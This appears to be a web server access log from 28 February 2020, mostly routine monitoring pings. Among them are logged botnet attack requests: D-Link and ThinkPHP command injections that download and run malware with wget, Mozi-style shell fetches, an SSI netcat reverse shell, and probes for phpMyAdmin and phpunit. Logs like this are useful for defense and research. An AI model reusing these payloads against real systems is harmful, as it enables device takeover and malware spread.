212.91.246.72 - - [28/Feb/2020:11:32:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:33:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:34:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.93.22.21 - - [28/Feb/2020:11:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:11:35:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [28/Feb/2020:11:35:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [28/Feb/2020:11:35:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [28/Feb/2020:11:35:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
222.137.176.204 - - [28/Feb/2020:11:35:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
125.128.241.71 - - [28/Feb/2020:11:35:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [28/Feb/2020:11:36:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:37:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:38:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:39:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.215.60.129 - - [28/Feb/2020:11:40:24 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:11:40:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.170.137.132 - - [28/Feb/2020:11:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:11:41:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:42:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.218.3.138 - - [28/Feb/2020:11:42:57 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [28/Feb/2020:11:43:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:44:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.209.178 - - [28/Feb/2020:11:44:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
103.138.5.173 - - [28/Feb/2020:11:44:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:11:45:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:46:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.219.11.153 - - [28/Feb/2020:11:46:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:11:47:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:48:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:49:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:50:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:51:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:52:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.170.201.34 - - [28/Feb/2020:11:52:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:11:53:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.128.41.50 - - [28/Feb/2020:11:53:55 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Java/1.8.0_131"
212.91.246.72 - - [28/Feb/2020:11:54:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:55:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.101.232.43 - - [28/Feb/2020:11:55:37 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
46.101.232.43 - - [28/Feb/2020:11:55:37 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
46.101.232.43 - - [28/Feb/2020:11:55:37 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
46.101.232.43 - - [28/Feb/2020:11:55:37 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
46.101.232.43 - - [28/Feb/2020:11:55:37 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
46.101.232.43 - - [28/Feb/2020:11:55:37 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
85.139.187.145 - - [28/Feb/2020:11:55:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [28/Feb/2020:11:56:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:57:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.21.223.166 - - [28/Feb/2020:11:58:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:11:58:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:59:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.128.41.50 - - [28/Feb/2020:11:59:40 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Java/1.8.0_131"
212.91.246.72 - - [28/Feb/2020:12:00:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [28/Feb/2020:12:01:09 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:12:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:02:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [28/Feb/2020:12:03:12 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:12:03:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:04:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:05:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:06:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:07:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.229.246.31 - - [28/Feb/2020:12:08:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:12:08:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.128.41.50 - - [28/Feb/2020:12:08:47 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Java/1.8.0_131"
37.49.226.137 - - [28/Feb/2020:12:09:25 +0100] "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2037.49.226.137%2029312%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0" 404 322 "-" "-"
212.91.246.72 - - [28/Feb/2020:12:09:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:10:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:11:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.223.100.0 - - [28/Feb/2020:12:12:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:12:12:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:13:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:14:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.11.91.155 - - [28/Feb/2020:12:14:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:12:15:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:16:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.80.120.64 - - [28/Feb/2020:12:17:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [28/Feb/2020:12:17:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:18:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.129.120.130 - - [28/Feb/2020:12:19:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:12:19:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:20:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:21:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:22:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [28/Feb/2020:12:23:16 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:12:23:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.255.155.31 - - [28/Feb/2020:12:23:46 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://118.255.155.31:39676/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
193.57.40.38 - - [28/Feb/2020:12:24:24 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:12:24:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:25:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:26:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:27:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:28:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.44.176.6 - - [28/Feb/2020:12:29:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [28/Feb/2020:12:29:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [28/Feb/2020:12:29:44 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [28/Feb/2020:12:30:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:31:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.0.252.232 - - [28/Feb/2020:12:31:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:12:32:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.124.162.73 - - [28/Feb/2020:12:32:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [28/Feb/2020:12:33:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [28/Feb/2020:12:33:40 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
95.255.31.198 - - [28/Feb/2020:12:33:44 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
95.255.31.198 - - [28/Feb/2020:12:34:03 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:12:34:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:35:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:36:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.168.137.78 - - [28/Feb/2020:12:36:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
222.186.19.221 - - [28/Feb/2020:12:36:34 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [28/Feb/2020:12:37:10 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
1.4.189.124 - - [28/Feb/2020:12:37:17 +0100] "GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://45.148.10.194/arm7;+chmod+777+arm7;+./arm7+rep.arm7 HTTP/1.0" 404 306 "-" "botnet/2.0"
212.91.246.72 - - [28/Feb/2020:12:37:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
136.228.128.145 - - [28/Feb/2020:12:38:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
193.57.40.38 - - [28/Feb/2020:12:38:17 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:12:38:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.131.118.97 - - [28/Feb/2020:12:39:03 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
193.57.40.38 - - [28/Feb/2020:12:39:24 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:12:39:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:40:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:41:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:42:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:43:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:44:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [28/Feb/2020:12:45:01 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [28/Feb/2020:12:45:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:46:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.119.89.91 - - [28/Feb/2020:12:47:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
47.110.245.18 - - [28/Feb/2020:12:47:16 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [28/Feb/2020:12:47:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.209.242 - - [28/Feb/2020:12:47:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:12:48:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [28/Feb/2020:12:49:13 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
222.186.19.221 - - [28/Feb/2020:12:49:26 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [28/Feb/2020:12:49:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [28/Feb/2020:12:50:23 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:12:50:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.88.113.196 - - [28/Feb/2020:12:50:37 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01694878 Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.2) Gecko/20100115 Firefox/3.6 GTBDFff GTB7.0"
31.217.214.128 - - [28/Feb/2020:12:50:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:12:51:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [28/Feb/2020:12:51:43 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [28/Feb/2020:12:52:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.100.29.10 - - [28/Feb/2020:12:52:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:12:53:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:54:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:55:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:56:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
